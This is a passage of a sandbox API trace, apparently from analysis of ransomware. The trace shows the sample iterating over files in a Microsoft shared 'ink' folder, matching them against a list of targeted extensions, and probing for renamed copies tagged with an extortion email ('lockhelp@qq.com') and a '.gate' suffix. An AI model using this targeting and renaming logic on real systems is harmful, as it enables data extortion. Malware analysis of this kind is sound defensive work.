[0114.093] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.093] lstrlenW (lpString=".docx") returned 5 [0114.093] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0114.093] lstrlenW (lpString=".pdf") returned 4 [0114.093] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.093] lstrlenW (lpString=".xls") returned 4 [0114.093] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.093] lstrlenW (lpString=".xlsx") returned 5 [0114.093] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0114.093] lstrlenW (lpString=".ppt") returned 4 [0114.093] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.093] lstrlenW (lpString=".zip") returned 4 [0114.093] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.093] lstrlenW (lpString=".rar") returned 4 [0114.093] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.093] lstrlenW (lpString=".bz2") returned 4 [0114.093] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.093] lstrlenW (lpString=".7z") returned 3 [0114.093] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.093] lstrlenW (lpString=".dbf") returned 4 [0114.094] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.094] lstrlenW (lpString=".1cd") returned 4 [0114.094] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.094] lstrlenW (lpString=".jpg") returned 4 [0114.094] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.094] lstrlenW (lpString=".doc") returned 4 [0114.094] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.094] lstrlenW (lpString=".docx") returned 5 [0114.094] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0114.094] lstrlenW (lpString=".pdf") returned 4 [0114.094] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.094] lstrlenW (lpString=".xls") returned 4 [0114.094] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.094] lstrlenW (lpString=".xlsx") returned 5 [0114.094] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0114.094] lstrlenW (lpString=".ppt") returned 4 [0114.094] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.094] lstrlenW (lpString=".zip") returned 4 [0114.094] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.095] lstrlenW (lpString=".rar") returned 4 [0114.095] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.095] lstrlenW (lpString=".bz2") returned 4 [0114.095] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.095] lstrlenW (lpString=".7z") returned 3 [0114.095] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.095] lstrlenW (lpString=".dbf") returned 4 [0114.095] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.095] lstrlenW (lpString=".1cd") returned 4 [0114.095] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.095] lstrlenW (lpString=".jpg") returned 4 [0114.095] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.095] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0114.095] lstrlenW (lpString="boxed-split.avi") returned 15 [0114.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.108] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=84190) returned 1 [0114.108] CloseHandle (hObject=0x350) returned 1 [0114.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0114.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.182] lstrlenW (lpString=".doc") returned 4 [0114.182] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.182] lstrlenW (lpString=".docx") returned 5 [0114.182] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0114.182] lstrlenW (lpString=".pdf") returned 4 [0114.182] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.182] lstrlenW (lpString=".xls") returned 4 [0114.182] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.182] lstrlenW (lpString=".xlsx") returned 5 [0114.182] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0114.182] lstrlenW (lpString=".ppt") returned 4 [0114.182] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.182] lstrlenW (lpString=".zip") returned 4 [0114.182] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.182] lstrlenW (lpString=".rar") returned 4 [0114.182] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.182] lstrlenW (lpString=".bz2") returned 4 [0114.182] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.182] lstrlenW (lpString=".7z") returned 3 [0114.182] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.182] lstrlenW (lpString=".dbf") returned 4 [0114.182] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.182] lstrlenW (lpString=".1cd") returned 4 [0114.182] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.182] lstrlenW (lpString=".jpg") returned 4 [0114.183] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.183] lstrlenW (lpString=".doc") returned 4 [0114.183] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.183] lstrlenW (lpString=".docx") returned 5 [0114.183] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0114.183] lstrlenW (lpString=".pdf") returned 4 [0114.183] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.183] lstrlenW (lpString=".xls") returned 4 [0114.183] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.183] lstrlenW (lpString=".xlsx") returned 5 [0114.183] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0114.183] lstrlenW (lpString=".ppt") returned 4 [0114.183] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.183] lstrlenW (lpString=".zip") returned 4 [0114.183] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.183] lstrlenW (lpString=".rar") returned 4 [0114.183] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.183] lstrlenW (lpString=".bz2") returned 4 [0114.183] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.183] lstrlenW (lpString=".7z") returned 3 [0114.183] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.183] lstrlenW (lpString=".dbf") returned 4 [0114.183] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.183] lstrlenW (lpString=".1cd") returned 4 [0114.183] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0114.183] lstrlenW (lpString=".jpg") returned 4 [0114.183] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.184] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.184] lstrlenW (lpString="auxbase.xml") returned 11 [0114.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0114.424] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1434) returned 1 [0114.424] CloseHandle (hObject=0x358) returned 1 [0114.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0114.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.425] lstrlenW (lpString=".doc") returned 4 [0114.425] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.425] lstrlenW (lpString=".docx") returned 5 [0114.425] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0114.425] lstrlenW (lpString=".pdf") returned 4 [0114.425] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.425] lstrlenW (lpString=".xls") returned 4 [0114.425] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.425] lstrlenW (lpString=".xlsx") returned 5 [0114.425] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0114.425] lstrlenW (lpString=".ppt") returned 4 [0114.425] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.425] lstrlenW (lpString=".zip") returned 4 [0114.425] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.425] lstrlenW (lpString=".rar") returned 4 [0114.425] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.425] lstrlenW (lpString=".bz2") returned 4 [0114.425] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.425] lstrlenW (lpString=".7z") returned 3 [0114.425] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.425] lstrlenW (lpString=".dbf") returned 4 [0114.425] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.425] lstrlenW (lpString=".1cd") returned 4 [0114.425] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.426] lstrlenW (lpString=".jpg") returned 4 [0114.426] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.426] lstrlenW (lpString=".doc") returned 4 [0114.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.426] lstrlenW (lpString=".docx") returned 5 [0114.426] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0114.426] lstrlenW (lpString=".pdf") returned 4 [0114.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.426] lstrlenW (lpString=".xls") returned 4 [0114.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.427] lstrlenW (lpString=".xlsx") returned 5 [0114.427] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0114.427] lstrlenW (lpString=".ppt") returned 4 [0114.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.427] lstrlenW (lpString=".zip") returned 4 [0114.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.427] lstrlenW (lpString=".rar") returned 4 [0114.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.427] lstrlenW (lpString=".bz2") returned 4 [0114.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.427] lstrlenW (lpString=".7z") returned 3 [0114.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.427] lstrlenW (lpString=".dbf") returned 4 [0114.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.427] lstrlenW (lpString=".1cd") returned 4 [0114.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0114.427] lstrlenW (lpString=".jpg") returned 4 [0114.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.427] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.428] lstrlenW (lpString="ea.xml") returned 6 [0114.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0114.719] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=384) returned 1 [0114.719] CloseHandle (hObject=0x314) returned 1 [0114.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0114.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.719] lstrlenW (lpString=".doc") returned 4 [0114.719] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.720] lstrlenW (lpString=".docx") returned 5 [0114.720] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0114.720] lstrlenW (lpString=".pdf") returned 4 [0114.720] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.720] lstrlenW (lpString=".xls") returned 4 [0114.720] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.720] lstrlenW (lpString=".xlsx") returned 5 [0114.720] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0114.720] lstrlenW (lpString=".ppt") returned 4 [0114.720] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.720] lstrlenW (lpString=".zip") returned 4 [0114.720] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.720] lstrlenW (lpString=".rar") returned 4 [0114.720] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.720] lstrlenW (lpString=".bz2") returned 4 [0114.720] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.720] lstrlenW (lpString=".7z") returned 3 [0114.720] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.720] lstrlenW (lpString=".dbf") returned 4 [0114.720] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.720] lstrlenW (lpString=".1cd") returned 4 [0114.720] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.720] lstrlenW (lpString=".jpg") returned 4 [0114.720] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.721] lstrlenW (lpString=".doc") returned 4 [0114.721] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.721] lstrlenW (lpString=".docx") returned 5 [0114.721] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0114.721] lstrlenW (lpString=".pdf") returned 4 [0114.721] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.721] lstrlenW (lpString=".xls") returned 4 [0114.721] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.721] lstrlenW (lpString=".xlsx") returned 5 [0114.721] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0114.721] lstrlenW (lpString=".ppt") returned 4 [0114.721] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.721] lstrlenW (lpString=".zip") returned 4 [0114.721] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.721] lstrlenW (lpString=".rar") returned 4 [0114.721] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.721] lstrlenW (lpString=".bz2") returned 4 [0114.721] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.721] lstrlenW (lpString=".7z") returned 3 [0114.721] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.721] lstrlenW (lpString=".dbf") returned 4 [0114.721] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.722] lstrlenW (lpString=".1cd") returned 4 [0114.722] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0114.722] lstrlenW (lpString=".jpg") returned 4 [0114.722] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.722] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.722] lstrlenW (lpString="kor-kor.xml") returned 11 [0114.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0114.723] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=392) returned 1 [0114.723] CloseHandle (hObject=0x30c) returned 1 [0114.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0114.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.724] lstrlenW (lpString=".doc") returned 4 [0114.724] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.724] lstrlenW (lpString=".docx") returned 5 [0114.724] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0114.724] lstrlenW (lpString=".pdf") returned 4 [0114.724] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.724] lstrlenW (lpString=".xls") returned 4 [0114.724] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.724] lstrlenW (lpString=".xlsx") returned 5 [0114.724] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0114.724] lstrlenW (lpString=".ppt") returned 4 [0114.724] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.724] lstrlenW (lpString=".zip") returned 4 [0114.724] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.724] lstrlenW (lpString=".rar") returned 4 [0114.724] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.724] lstrlenW (lpString=".bz2") returned 4 [0114.724] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.724] lstrlenW (lpString=".7z") returned 3 [0114.724] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.724] lstrlenW (lpString=".dbf") returned 4 [0114.724] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.724] lstrlenW (lpString=".1cd") returned 4 [0114.724] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.725] lstrlenW (lpString=".jpg") returned 4 [0114.725] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.725] lstrlenW (lpString=".doc") returned 4 [0114.725] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.725] lstrlenW (lpString=".docx") returned 5 [0114.725] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0114.725] lstrlenW (lpString=".pdf") returned 4 [0114.725] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.725] lstrlenW (lpString=".xls") 